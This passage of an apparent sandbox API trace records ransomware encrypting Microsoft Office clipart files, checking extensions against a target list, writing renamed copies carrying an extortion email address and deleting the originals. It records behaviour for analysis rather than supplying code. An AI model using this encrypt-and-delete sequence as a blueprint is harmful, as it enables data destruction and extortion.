	[0178.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0178.531] lstrlenW (lpString=".1cd") returned 4
	[0178.531] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0178.531] lstrlenW (lpString=".jpg") returned 4
	[0178.531] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0178.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0178.531] lstrlenW (lpString=".doc") returned 4
	[0178.531] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.531] lstrlenW (lpString=".docx") returned 5
	[0178.531] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0178.532] lstrlenW (lpString=".pdf") returned 4
	[0178.532] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.532] lstrlenW (lpString=".xls") returned 4
	[0178.532] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.532] lstrlenW (lpString=".xlsx") returned 5
	[0178.532] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0178.532] lstrlenW (lpString=".ppt") returned 4
	[0178.532] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0178.532] lstrlenW (lpString=".zip") returned 4
	[0178.532] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.532] lstrlenW (lpString=".rar") returned 4
	[0178.532] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.532] lstrlenW (lpString=".bz2") returned 4
	[0178.532] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.532] lstrlenW (lpString=".7z") returned 3
	[0178.532] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0178.532] lstrlenW (lpString=".dbf") returned 4
	[0178.532] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0178.532] lstrlenW (lpString=".1cd") returned 4
	[0178.532] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0178.533] lstrlenW (lpString=".jpg") returned 4
	[0178.533] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.533] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0178.533] lstrlenW (lpString="J0107484.WMF") returned 12
	[0178.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0178.535] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=3040) returned 1
	[0178.535] CloseHandle (hObject=0x36c) returned 1
	[0178.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf")) returned 0x220
	[0178.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0178.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0178.536] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.536] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0178.537] GetLastError () returned 0x0
	[0178.537] ReadFile (in: hFile=0x36c, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0xbe0, lpOverlapped=0x0) returned 1
	[0178.540] WriteFile (in: hFile=0x520, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xbf0, lpOverlapped=0x0) returned 1
	[0178.826] ReadFile (in: hFile=0x36c, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.826] WriteFile (in: hFile=0x520, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.826] SetEndOfFile (hFile=0x520) returned 1
	[0178.826] CloseHandle (hObject=0x520) returned 1
	[0178.827] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.827] SetEndOfFile (hFile=0x36c) returned 1
	[0178.832] CloseHandle (hObject=0x36c) returned 1
	[0178.832] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0178.833] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf")) returned 1
	[0178.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0178.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0178.834] lstrlenW (lpString=".doc") returned 4
	[0178.834] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.834] lstrlenW (lpString=".docx") returned 5
	[0178.834] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0178.834] lstrlenW (lpString=".pdf") returned 4
	[0178.834] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.834] lstrlenW (lpString=".xls") returned 4
	[0178.834] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.834] lstrlenW (lpString=".xlsx") returned 5
	[0178.834] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0178.834] lstrlenW (lpString=".ppt") returned 4
	[0178.834] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0178.834] lstrlenW (lpString=".zip") returned 4
	[0178.834] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.834] lstrlenW (lpString=".rar") returned 4
	[0178.834] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.835] lstrlenW (lpString=".bz2") returned 4
	[0178.835] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.835] lstrlenW (lpString=".7z") returned 3
	[0178.835] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0178.835] lstrlenW (lpString=".dbf") returned 4
	[0178.835] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0178.835] lstrlenW (lpString=".1cd") returned 4
	[0178.835] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0178.835] lstrlenW (lpString=".jpg") returned 4
	[0178.835] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0178.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0178.835] lstrlenW (lpString=".doc") returned 4
	[0178.835] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.835] lstrlenW (lpString=".docx") returned 5
	[0178.835] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0178.835] lstrlenW (lpString=".pdf") returned 4
	[0178.835] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.835] lstrlenW (lpString=".xls") returned 4
	[0178.835] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.836] lstrlenW (lpString=".xlsx") returned 5
	[0178.836] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0178.836] lstrlenW (lpString=".ppt") returned 4
	[0178.836] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0178.836] lstrlenW (lpString=".zip") returned 4
	[0178.836] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.836] lstrlenW (lpString=".rar") returned 4
	[0178.836] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.836] lstrlenW (lpString=".bz2") returned 4
	[0178.836] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.836] lstrlenW (lpString=".7z") returned 3
	[0178.836] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0178.836] lstrlenW (lpString=".dbf") returned 4
	[0178.836] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0178.836] lstrlenW (lpString=".1cd") returned 4
	[0178.836] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0178.836] lstrlenW (lpString=".jpg") returned 4
	[0178.836] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.837] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0178.837] lstrlenW (lpString="J0107494.WMF") returned 12
	[0178.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0178.838] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=6424) returned 1
	[0178.838] CloseHandle (hObject=0x36c) returned 1
	[0178.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf")) returned 0x220
	[0178.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0178.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0178.839] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.839] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0178.841] GetLastError () returned 0x0
	[0178.841] ReadFile (in: hFile=0x36c, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x1918, lpOverlapped=0x0) returned 1
	[0178.849] WriteFile (in: hFile=0x520, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x1920, lpOverlapped=0x0) returned 1
	[0178.850] ReadFile (in: hFile=0x36c, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.851] WriteFile (in: hFile=0x520, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.851] SetEndOfFile (hFile=0x520) returned 1
	[0178.851] CloseHandle (hObject=0x520) returned 1
	[0178.851] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.851] SetEndOfFile (hFile=0x36c) returned 1
	[0178.861] CloseHandle (hObject=0x36c) returned 1
	[0178.862] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0178.863] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf")) returned 1
	[0178.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0178.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0178.867] lstrlenW (lpString=".doc") returned 4
	[0178.867] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.867] lstrlenW (lpString=".docx") returned 5
	[0178.867] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0178.868] lstrlenW (lpString=".pdf") returned 4
	[0178.868] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.868] lstrlenW (lpString=".xls") returned 4
	[0178.868] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.868] lstrlenW (lpString=".xlsx") returned 5
	[0178.868] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0178.868] lstrlenW (lpString=".ppt") returned 4
	[0178.868] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0178.868] lstrlenW (lpString=".zip") returned 4
	[0178.868] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.868] lstrlenW (lpString=".rar") returned 4
	[0178.868] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.868] lstrlenW (lpString=".bz2") returned 4
	[0178.868] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.868] lstrlenW (lpString=".7z") returned 3
	[0178.868] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0178.868] lstrlenW (lpString=".dbf") returned 4
	[0178.868] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0178.868] lstrlenW (lpString=".1cd") returned 4
	[0178.868] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0178.869] lstrlenW (lpString=".jpg") returned 4
	[0178.869] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0178.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0178.869] lstrlenW (lpString=".doc") returned 4
	[0178.869] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.869] lstrlenW (lpString=".docx") returned 5
	[0178.869] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0178.869] lstrlenW (lpString=".pdf") returned 4
	[0178.869] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.869] lstrlenW (lpString=".xls") returned 4
	[0178.869] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.869] lstrlenW (lpString=".xlsx") returned 5
	[0178.869] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0178.869] lstrlenW (lpString=".ppt") returned 4
	[0178.869] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0178.869] lstrlenW (lpString=".zip") returned 4
	[0178.869] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.869] lstrlenW (lpString=".rar") returned 4
	[0178.869] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.870] lstrlenW (lpString=".bz2") returned 4
	[0178.870] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.870] lstrlenW (lpString=".7z") returned 3
	[0178.870] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0178.870] lstrlenW (lpString=".dbf") returned 4
	[0178.870] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0178.870] lstrlenW (lpString=".1cd") returned 4
	[0178.870] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0178.870] lstrlenW (lpString=".jpg") returned 4
	[0178.870] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.870] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0178.870] lstrlenW (lpString="J0107496.WMF") returned 12
	[0178.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0178.880] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=8864) returned 1
	[0178.880] CloseHandle (hObject=0x544) returned 1
	[0178.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf")) returned 0x220
	[0179.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0179.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0179.579] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.579] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0179.581] GetLastError () returned 0x0
	[0179.581] ReadFile (in: hFile=0x370, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x22a0, lpOverlapped=0x0) returned 1
	[0179.588] WriteFile (in: hFile=0x460, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x22b0, lpOverlapped=0x0) returned 1
	[0179.589] ReadFile (in: hFile=0x370, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.589] WriteFile (in: hFile=0x460, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0179.589] SetEndOfFile (hFile=0x460) returned 1
	[0179.590] CloseHandle (hObject=0x460) returned 1
	[0179.590] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.590] SetEndOfFile (hFile=0x370) returned 1
	[0179.593] CloseHandle (hObject=0x370) returned 1
	[0179.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0179.594] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf")) returned 1
	[0179.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0179.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0179.595] lstrlenW (lpString=".doc") returned 4
	[0179.595] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.595] lstrlenW (lpString=".docx") returned 5
	[0179.595] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0179.596] lstrlenW (lpString=".pdf") returned 4
	[0179.596] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.596] lstrlenW (lpString=".xls") returned 4
	[0179.596] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.596] lstrlenW (lpString=".xlsx") returned 5
	[0179.596] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0179.596] lstrlenW (lpString=".ppt") returned 4
	[0179.596] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0179.596] lstrlenW (lpString=".zip") returned 4
	[0179.596] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.596] lstrlenW (lpString=".rar") returned 4
	[0179.596] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.596] lstrlenW (lpString=".bz2") returned 4
	[0179.596] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.596] lstrlenW (lpString=".7z") returned 3
	[0179.596] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0179.596] lstrlenW (lpString=".dbf") returned 4
	[0179.596] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
